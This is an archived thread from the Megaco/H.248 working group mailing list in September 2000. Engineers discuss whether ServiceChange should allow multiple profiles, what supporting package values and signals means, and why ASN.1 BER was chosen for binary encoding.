X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D1E@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 08:54:19 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This conversation is bringing out a number of requirements for an effective
profile system.  When we sum them up perhaps we can review the situation and
see whether the protocol needs further development or whether we can make do
with the tools at hand.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Wednesday, September 06, 2000 12:30 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> G'Day Peter,
>
> I agree that the Profile mechanism isn't really well defined. I do see
> that these will need to be defined shortly. With different
> standardisation bodies working (MSF, ITU SG11, DSL Forum, 3gPP etc.
> etc.) on different profiles and packages, multiple profiles
> are going to
> be a reality very shortly.
>
> Please see specific comments below [CHG]
>
> Cheers, Christian
>
> Peter Blatherwick wrote:
> >
> > Formal rules for what a profile can and cannot specify are not
> > currently defined.  At one point, I proposed some rules, but these
> > turned out to be contentious, were not agreed, and have not been
> > followed up. This issue was deferred to later version of the
> > Megaco/H.248 Protocol in the Washington meeting last year,
> if I recall
> > correctly, and left at the 1 profile rule we currently have
> in place.
> > Without these formal rules, it is difficult to know what
> the effect of
> > allowing multiple profiles would be.  Therefore, I think its better
> > *for now* to stick with a single profile.  I don't consider it an
> > error, but actually an intentional decision.
> >
> > Several side effects of allowing multiple profiles would be
> difficult
> > to sort out.  For example, profiles can (and I believe in many cases
> > absolutely must) specify which optional aspects are used by the MG
> > side, for example making specific selection on encoding and
> > transport.  Profiles may also define specific termination
> > organization, naming conventions etc.
> [CHG] Yes I agree. I think the MSF IAs and BICC profile start to do
> this.
>
> > If an MG supports 2 or more
> > profiles, and these do not each make the same selections or
> > assumptions, how to sort out which are actually in use?
>
> [CHG] I would have thought that a profile is tied to an
> application. ie.
> if the MGC is using BICC then it would pick the BICC profile for that
> part of the call. If the network side was BICC and the access was
> Ipphone then it would pick the IP phone Profile to handle the access.
>
> > This quickly
> > becomes a deep rat hole, and could add enormously to the
> complexity of
> > both MG and MGC applications, while not helping interoperability
> > (maybe even hurting it).  This defeats the intent of profiles -- to
> > improve interoperability and provide simplifying assumptions for
> > specific applications of the Protocol.
> [CHG] I still believe it does provide this. It still specifies for a
> particular application what options and packages you use. I don't
> believe equipment is limited to one application.
>
> >
> > Since profiles essentially define particular applications of the
> > Megaco/H.248 Protocol, what the current rule is really
> saying is an MG
> > supports 1 application if it uses a profile to declare this to its
> > controlling MGC.  Of course, multiple virtual MGs could still be in
> > operation on the same physical device, or profiles could be defined
> > which capture more than one application, so there are ways around
> > this.
> [CHG] I'd be interested in exploring this a little further.
> Can you give
> more details?
>
> >
> > Looking forward a bit, to definition of the profile rules, one
> > possible approach would be to provide a formalism for profiles to be
> > extended and/or versioned, similar to the sub-classing-like approach
> > used by package definition now.  This would mean we could build
> > profiles on each other without having contentions over optional
> > elements.
> [CHG] Again I agree that as soon as we start developing
> profiles that we
> should consider future changes. However with the limits of the profile
> mechanism as it is now should we just give up on signalling
> the profile
> and just rely on the documentation of the functionality in the profile
> to provide interoperability. Just use packages as Brian alluded to.
>
> >
> > I remain quite interested in this topic, and feel this
> would be a good
> > thing to include in any extension of the Megaco WG's charter for
> > consideration in version 2 (once some version 1 implementation
> > experience is gained of course).
> >
> > For implementor's guide, I suggest some explanatory text on what
> > profiles are intended to do would be in order, but don't think the
> > implementor's guide should modify the Protocol.
> [CHG] Yes we could put some text in the implementor's notes section.
>
> >
> > -- Peter Blatherwick
> >
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Monday, September 04, 2000 20:58
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Profiles in Service Change
> >
> > G'Day all,
> >
> > I discussion on another email exploder (MSF) it was pointed out that
> > the
> > ServiceChange only supports one profile to be returned. I would have
> > thought that a MG could support more than one profile.
> >
> > Do people consider this to be an error to be updated in the
> > implementor's guide?
> >
> > If so the following changes probably would be necessary.
> >
> > 7.2.8 ServiceChange
> > The optional ServiceChangeProfile parameter specifies the
> Profile[/s]
> > (if any) of the protocol supported.  The
> ServiceChangeProfile includes
> >
> > the version of the profile supported.
> >
> > A.2
> > ServiceChangeParm ::= SEQUENCE
> > {
> >         serviceChangeMethod     ServiceChangeMethod,
> >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > OPTIONAL,
> >         serviceChangeReason     Value,
> >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> >                                     -- 32 bit unsigned integer
> >         serviceChangeMgcId      MId OPTIONAL,
> >         timeStamp               TimeNotation OPTIONAL,
> >         nonStandardData         NonStandardData OPTIONAL,
> >         ...
> > }
> >
> > ServiceChangeResParm ::= SEQUENCE
> > {
> >         serviceChangeMgcId      MId OPTIONAL,
> >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > OPTIONAL,
> >         ...
> > }
> >
> > B.2
> > >>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version
> >
> > Cheers, Christian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:13:00 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11220
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:12:54 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90975@standards.nortelnetworks.com>; Wed, 6 Sep 2000 8:57:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19446 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 08:57:59 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90974@standards.nortelnetworks.com>; Wed, 6 Sep 2000 8:57:59
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA13859; Wed, 6 Sep 2000 09:10:51 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA11808; Wed, 6 Sep 2000 09:10:52 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHRT5>; Wed, 6 Sep 2000 09:10:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67880A@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 09:10:44 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

We can also look at profiles being written, to see how
they come out.  We might want to have some text somewhere
with advice, rather than rules.

We have had some fun with the MSF profiles; since there are
no rules, we have asked ourselves, several times, "well,
what should be in here?  What should not?"

I think they are coming out very well.  They will be public
very soon (in draft form), for others to look at.  The IPphone
profile is another to use.  The PacketCable stuff can also
be mined for ideas.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 06, 2000 8:54 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> This conversation is bringing out a number of requirements
> for an effective
> profile system.  When we sum them up perhaps we can review
> the situation and
> see whether the protocol needs further development or whether
> we can make do
> with the tools at hand.
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Wednesday, September 06, 2000 12:30 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > G'Day Peter,
> >
> > I agree that the Profile mechanism isn't really well
> defined. I do see
> > that these will need to be defined shortly. With different
> > standardisation bodies working (MSF, ITU SG11, DSL Forum, 3gPP etc.
> > etc.) on different profiles and packages, multiple profiles
> > are going to
> > be a reality very shortly.
> >
> > Please see specific comments below [CHG]
> >
> > Cheers, Christian
> >
> > Peter Blatherwick wrote:
> > >
> > > Formal rules for what a profile can and cannot specify are not
> > > currently defined.  At one point, I proposed some rules, but these
> > > turned out to be contentious, were not agreed, and have not been
> > > followed up. This issue was deferred to later version of the
> > > Megaco/H.248 Protocol in the Washington meeting last year,
> > if I recall
> > > correctly, and left at the 1 profile rule we currently have
> > in place.
> > > Without these formal rules, it is difficult to know what
> > the effect of
> > > allowing multiple profiles would be.  Therefore, I think
> its better
> > > *for now* to stick with a single profile.  I don't consider it an
> > > error, but actually an intentional decision.
> > >
> > > Several side effects of allowing multiple profiles would be
> > difficult
> > > to sort out.  For example, profiles can (and I believe in
> many cases
> > > absolutely must) specify which optional aspects are used by the MG
> > > side, for example making specific selection on encoding and
> > > transport.  Profiles may also define specific termination
> > > organization, naming conventions etc.
> > [CHG] Yes I agree. I think the MSF IAs and BICC profile start to do
> > this.
> >
> > > If an MG supports 2 or more
> > > profiles, and these do not each make the same selections or
> > > assumptions, how to sort out which are actually in use?
> >
> > [CHG] I would have thought that a profile is tied to an
> > application. ie.
> > if the MGC is using BICC then it would pick the BICC
> profile for that
> > part of the call. If the network side was BICC and the access was
> > Ipphone then it would pick the IP phone Profile to handle
> the access.
> >
> > > This quickly
> > > becomes a deep rat hole, and could add enormously to the
> > complexity of
> > > both MG and MGC applications, while not helping interoperability
> > > (maybe even hurting it).  This defeats the intent of
> profiles -- to
> > > improve interoperability and provide simplifying assumptions for
> > > specific applications of the Protocol.
> > [CHG] I still believe it does provide this. It still specifies for a
> > particular application what options and packages you use. I don't
> > believe equipment is limited to one application.
> >
> > >
> > > Since profiles essentially define particular applications of the
> > > Megaco/H.248 Protocol, what the current rule is really
> > saying is an MG
> > > supports 1 application if it uses a profile to declare this to its
> > > controlling MGC.  Of course, multiple virtual MGs could
> still be in
> > > operation on the same physical device, or profiles could
> be defined
> > > which capture more than one application, so there are ways around
> > > this.
> > [CHG] I'd be interested in exploring this a little further.
> > Can you give
> > more details?
> >
> > >
> > > Looking forward a bit, to definition of the profile rules, one
> > > possible approach would be to provide a formalism for
> profiles to be
> > > extended and/or versioned, similar to the
> sub-classing-like approach
> > > used by package definition now.  This would mean we could build
> > > profiles on each other without having contentions over optional
> > > elements.
> > [CHG] Again I agree that as soon as we start developing
> > profiles that we
> > should consider future changes. However with the limits of
> the profile
> > mechanism as it is now should we just give up on signalling
> > the profile
> > and just rely on the documentation of the functionality in
> the profile
> > to provide interoperability. Just use packages as Brian alluded to.
> >
> > >
> > > I remain quite interested in this topic, and feel this
> > would be a good
> > > thing to include in any extension of the Megaco WG's charter for
> > > consideration in version 2 (once some version 1 implementation
> > > experience is gained of course).
> > >
> > > For implementor's guide, I suggest some explanatory text on what
> > > profiles are intended to do would be in order, but don't think the
> > > implementor's guide should modify the Protocol.
> > [CHG] Yes we could put some text in the implementor's notes section.
> >
> > >
> > > -- Peter Blatherwick
> > >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Monday, September 04, 2000 20:58
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Profiles in Service Change
> > >
> > > G'Day all,
> > >
> > > I discussion on another email exploder (MSF) it was
> pointed out that
> > > the
> > > ServiceChange only supports one profile to be returned. I
> would have
> > > thought that a MG could support more than one profile.
> > >
> > > Do people consider this to be an error to be updated in the
> > > implementor's guide?
> > >
> > > If so the following changes probably would be necessary.
> > >
> > > 7.2.8 ServiceChange
> > > The optional ServiceChangeProfile parameter specifies the
> > Profile[/s]
> > > (if any) of the protocol supported.  The
> > ServiceChangeProfile includes
> > >
> > > the version of the profile supported.
> > >
> > > A.2
> > > ServiceChangeParm ::= SEQUENCE
> > > {
> > >         serviceChangeMethod     ServiceChangeMethod,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > > OPTIONAL,
> > >         serviceChangeReason     Value,
> > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> > >                                     -- 32 bit unsigned integer
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         timeStamp               TimeNotation OPTIONAL,
> > >         nonStandardData         NonStandardData OPTIONAL,
> > >         ...
> > > }
> > >
> > > ServiceChangeResParm ::= SEQUENCE
> > > {
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> > > OPTIONAL,
> > >         ...
> > > }
> > >
> > > B.2
> > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> SLASH Version
> > >
> > > Cheers, Christian
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:18:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11327
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:18:20 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9099D@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:03:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19494 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:03:19 -0400
Received: from qhars002.nortel.com (47.101.112.102:34834) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9099C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:03:13
          -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 6 Sep 2000
          14:13:11 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 6 Sep
          2000 09:12:41 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGCN3>; Wed, 6 Sep 2000 09:12:42 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D1F@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 09:12:28 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Support of Values in Packages
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

No, what I meant was that the type of "Announcement ID" would be arbitrary
string, and the meaning of specific strings would be understood between the
MG and MGC through provisioning.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Wednesday, September 06, 2000 1:19 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Support of Values in Packages
>
>
> G'Day Tom,
>
> So am I correct in understanding that if we add values to what is
> specified in a package that we don't need to extend the
> package? That's
> what your comment below seems to imply.
>
> I thought defaults were only provisioned, not additional values. ie in
> Tone Package "Extensions to this package would add possible values for
> tone id".
>
> So I believe you still have this dilemma.
>
> Cheers, Christian
>
> Tom-PT Taylor wrote:
> >
> > There is a simple answer to the announcement dilemma, which
> is that I'm not
> > sure announcement names need to be standardized.  I can
> think of only about
> > five standard announcements in North American practice (as
> codified by
> > Bellcore).  Everything else would be a matter of
> provisioning for local use.
> >
> > I would say tones are the best example of something
> many-valued that we'll
> > have.
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > Sent: Sunday, September 03, 2000 8:00 PM
> > > To: Taylor, Tom-PT [NORSE:B901:EXCH]
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Support of Values in Packages
> > >
> > >
> > > G'Day Tom,
> > >
> > > If you think Codecs are a "Red-Herring" how about
> > > Announcements? If you
> > > have an MGC-MG that is operating as an anouncement server
> > > which support
> > > 100 announcements. You may want to place certain announcement
> > > resources
> > > across different MGs. Now you could have one package called the
> > > Nortel-Announcement-Package or you could have the:
> > > Nortel-Announcement-Package-1to20-for-AT&T
> > > Nortel-Announcement-Package-1to30-for-MCI
> > > Nortel-Announcement-Package-31-100-for-MCI
> > > etc.etc.etc.
> > >
> > > If you have a strict rule that to be compliant to H.248
> that you must
> > > support all values of proporties and parameters by default
> > > you can start
> > > generating alot of packages when you don't need to and the
> > > package space
> > > is going to fill with really useless packages. Someting like
> > > No. Packages for One Function = No. Vendors * No. of MG
> > > configurations *
> > > No. Customers
> > >
> > > Codecs are just one example of things that aren't linked, I
> > > believe you
> > > only need one case to disprove the rule.
> > >
> > > Cheers, Christian
> > >
> > > Tom-PT Taylor wrote:
> > > >
> > > > You make a valid point about "support" making fewer demands
> > > on the MGC than
> > > > on the MG in many cases.
> > > >
> > > > Just to frame the terms of discussion, I would suggest that
> > > we use support
> > > > in the strict sense that the recipient is capable of
> > > carrying out the
> > > > semantic intent, not just process the syntax.
> > > >
> > > > The key issues are predictability of MG behaviour vs.
> > > package fragmentation.
> > > > The codec example is (so far) a red herring, since I don't
> > > recall a codec
> > > > property in any of our packages.  Our solution to
> > > open-ended lists to this
> > > > point has been package extensions (cf toneids).  The hope
> > > is that each such
> > > > extension can cluster a reasonable number of items which
> > > one might expect to
> > > > be supported in the same device.  Something like codecs
> > > would certainly dash
> > > > that hope, since there is in general no linkage between the
> > > support of one
> > > > codec and the support of another.  We may just have to live
> > > with this, in
> > > > the sense that we end up registering lots of packages.  The
> > > numbering space
> > > > for package registration is pretty broad.
> > > >
> > > > -----Original Message-----
> > > > From: Boyle, Kevin [NCRTP:3Z70:EXCH]
> > > > Sent: Friday, August 25, 2000 2:01 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Support of Values in Packages
> > > >
> > > > Hello,
> > > >
> > > > A general question here:
> > > >
> > > > What, exactly, is meant by "support" of a signal?  Does
> > > this mean that a
> > > > gateway will absolutely know what the physical parameters
> > > of the signal are,
> > > > and will play it?  Or does it mean something a little less
> > > than that, for
> > > > instance, that the gateway will gracefully accept the
> > > signal in question,
> > > > not necessarily doing anything about it?
> > > >
> > > > Generally speaking, signals, and tones in particular, have
> > > very precise
> > > > definitions as to when and how they should be used.  So, if
> > > there are no
> > > > phones in need of a particular signal off of a gateway, in
> > > theory, that
> > > > signal would never be requested by the MGC.  However, if it
> > > was, by the
> > > > package definition, the MG would be required to support
> it.  Is it
> > > > incorrect, then, for the MG to successfully acknowledge
> the signal
> > > > application command, and then throw the signal away?  Maybe
> > > the signal could
> > > > be datafilled to be/do nothing in the MG, in which case
> > > ignoring the signal
> > > > would be a correct application of the signal to the line.
> > > >
> > > > MGCs have a little different issue with the meaning of
> > > "support".  Just
> > > > because a MGC supports the ability to generate a particular
> > > signal to a MG,
> > > > does not necessarily mean that MGC will ever do so.  In
> > > this case, "support"
> > > > becomes a pretty meaningless term.  If a signal is
> never going to be
> > > > generated, then what does support really mean?  That the
> > > MGC can generate
> > > > the signal through manual intervention?
> > > >
> > > > The same argument about signal support in MGCs also applies
> > > to events as
> > > > well.  If we will never ask for a particular event, what
> > > does support of
> > > > that event mean?  For MGs, the same is not true.  A MG must
> > > be able to
> > > > report a supported event when it is requested in the Events
> > > descriptor.  So
> > > > support of events from a MG standpoint is fairly
> > > straightforward.  Since
> > > > properties and statistics are acted upon in both
> > > directions, support is also
> > > > a straightforward concept for these as well.
> > > >
> > > > I, too, agree that there is an issue regarding values, as
> > > highlighted by the
> > > > codec example.  In the same vein, there needs to be a
> > > better definition of
> > > > what support means, especially in regards to signals and
> > > events.  I propose,
> > > > as a starting point for discussion, that "support" of
> > > signals in the MG
> > > > means that the MG will accept the signal, and acknowledge
> > > it without error,
> > > > at the very minimum.  Any problem with MGs choosing to
> > > ignore important
> > > > signals will be rectified by the MG's inability to produce
> > > quality telephone
> > > > service without those signals.  "Support" in the MGC is a
> > > little tougher
> > > > issue, since support of a signal or event is invisible
> > > until such time as
> > > > the signal or event is requested.
> > > >
> > > > Any comments/ideas/statements to correct my misconceptions? ;)
> > > >
> > > > Regards,
> > > >
> > > > Kevin Boyle
> > > > CS2K Line Services
> > > > Nortel Networks
> > > >
> > > > Flemming Andreasen wrote:
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > G'Day all,
> > > > >
> > > > > There has been some confusion at the SG16 on what is
> supported in
> > > > > Packages.
> > > > >
> > > > > The understanding that I had was that: If you support a
> > > package you must
> > > > > support all the signals, properties, events and statistics.
> > > >
> > > > Agreed.
> > > >
> > > > > However you
> > > > > do not have to support all the values associated with the
> > > properties and
> > > > > parameters.
> > > >
> > > > I guess the term "values" is somewhat prone to
> > > interpretation, but I would
> > > > tend to disagree if we refer to a list of well-defined
> > > values, as e.g. a
> > > > list of tone ids in E.7.
> > > >
> > > > >
> > > > >
> > > > > Tom mentioned that a thread discussed on the list
> > > contravened this.
> > > > >
> > > > > The reasoning that I have for not having to support all
> > > the values is
> > > > > the following:
> > > > > o Proliferation of packages. Eg: if a package has a list
> > > of tones, and I
> > > > > must support all the values, if I only want to support a
> > > subset of these
> > > > > values then I need a new package. Therefore you may get
> > > the case of a
> > > > > package "Package Call Progress Tones E.7" where an MG
> > > doesn't support
> > > > > Payphone Recognition Tone because it doesn't have
> > > payphones connected to
> > > > > it.
> > > >
> > > > However, in this parcticular example, the tones are both
> > > signals and tone
> > > > ids, so the effect would be the same. While I'm not
> > > particularly fond of the
> > > >
> > > > tonegen package, it does nevertheless illustrate an
> > > important point, namely
> > > > that the distinction between signals, and parameters to
> > > signals (and similar
> > > >
> > > > for other constructs) is somewhat arbitrary. The package
> > > really gives you
> > > > two things:
> > > > 1. A name space
> > > > 2. A convenient grouping of some set of "properties"
> > > >
> > > > If we don't know exaclty what those "properties" are, then
> > > we've lost a very
> > > >
> > > > important aspect of packages.
> > > >
> > > > > To be compliant with H.248 I can't extend the package
> > > because I want
> > > > > to remove the payphone tone. So a new Package needs
> to be defined
> > > > > containing exactly the same information but without the
> > > payphone tone.
> > > > > Now my MG won't support the standard Call Progress Tone
> > > package but will
> > > > > support the XXX_companies_Call_Progress_Tone package.
> > > This would lead to
> > > > > a proliferation of packages.
> > > >
> > > > I agree, but we have to ask ourselves what the idea about
> > > packages is.
> > > > Simplicity and flexibility are often at odds with each
> > > other and in this
> > > > case stress the importance of defining packages very carefully.
> > > >
> > > > If I no longer know exactly what is supported in a package,
> > > how do I go
> > > > about using that package ?
> > > >
> > > > >
> > > > >
> > > > > o Multiple GW support - One MG may not implement all the
> > > values of a
> > > > > property. For something like a list of codecs, a group of
> > > resources
> > > > > associated with the value may be placed in different MG
> > > GWs. ie. GSM
> > > > > codecs in MG1, PCM codecs in MG2. So whilst the MGs
> > > support the same
> > > > > package properties, they can't support a subset of values
> > > then you'd
> > > > > need to define a different package for each MG
> > > configuration. Again
> > > > > leading to a proliferation of packages.
> > > >
> > > > Back to defining what "values" mean. Obviously, if we
> > > define a "codec"
> > > > property in a package, we can't expect support for every
> > > possible codec in
> > > > the world.
> > > >
> > > > Maybe there's a distinction between supporting values for
> > > events, signals,
> > > > statistics, and properties ?
> > > >
> > > > >
> > > > >
> > > > > o The MGC knows the PackageID, that all Properties,
> > > Signals, Events,
> > > > > Statistics are supported. In H.248 we have the
> AuditCapability and
> > > > > AuditValue commands to find out what actual values of
> > > properties are
> > > > > supported.
> > > >
> > > > Not sure how you would do that with event and signal
> > > parameters though (come
> > > >
> > > > to think of it, I'm not sure how you, in practice, do that
> > > for a lot of
> > > > parameters; "The appropriate descriptors, *with the
> > > possible values for the
> > > > Termination* are returned from AuditCapabilities", Section
> > > 7.2.6). On the
> > > > other, we could have a new property that looked similar, so
> > > it's not clear
> > > > it wouldn't apply there either.
> > > >
> > > > >
> > > > >
> > > > > So if people agree that not all values in a package need
> > > to be supported
> > > > > I propose to add some text to the implementor's guide:
> > > > > Section 12.1 after 2nd Paragraph
> > > > > "A MG SHALL support all Property, Signals &
> parameters, Events &
> > > > > parameters and Statistics. A MG MAY support a subset of
> > > property and
> > > > > parameter values defined in the package unless specified
> > > in a package."
> > > >
> > > > I don't want to deflate the package concept to the extent
> > > this would seem to
> > > >
> > > > allow, but I agree there's an issue here. Further
> > > discussion is needed
> > > > before we make any change.
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > Cheers, Christian
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > >
> > >
> > >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 09:23:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11514
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 09:23:32 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB909B8@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:07:02 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19525 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:07:02 -0400
Received: from qhars002.nortel.com (47.101.112.102:35817) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB909B7@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:07:02
          -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 6 Sep 2000 14:17:36 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 6 Sep 2000 09:16:51 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGCTQ>; Wed, 6 Sep 2000 09:16:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01804.B2F99210"
Message-ID:  <28560036253BD41191A10000F8BCBD11480D20@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 09:16:42 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: ASN.1 BER
X-To:         "svkumar@HSS.HNS.COM" <svkumar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01804.B2F99210
Content-Type: text/plain;
        charset="iso-8859-1"

BER was indeed chosen because of its simplicity.  The use of PER for H.323
has been considered a major barrier to its widespread development, because
of the scarcity of tools to work with it.  We should definitely develop some
illustrations of encoding that everyone can agree on and perhaps add them as
another Appendix to H.248 (and as an Informational RFC).

> -----Original Message-----
> From: Shiv Kumar [mailto:svkumar@HSS.HNS.COM]
> Sent: Wednesday, September 06, 2000 4:57 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: ASN.1 BER
>
>
> Hi,
>
> I wanted some clarifications regarding the binary encoding.
>
> Is there a  possibility of the binary encoding method to change
> from ASN.1 BER  to  PER ?
>
> How was BER decided upon in the first place.
> Was it because it was simple, albeit costly in terms of size ?
>
> Also, can we have some sample dump of BER encoded messages ?
> I have managed to get the encoded output for a sample binary
> encoded message. My decoder has no problem in parsing it.
> But how do I assure myself that this is the encoded output that
> everybody is looking for.  :-)
>
> Regards
> Shiv Kumar
> Hughes Software Systems
>

------_=_NextPart_001_01C01804.B2F99210
Content-Type: text/html;
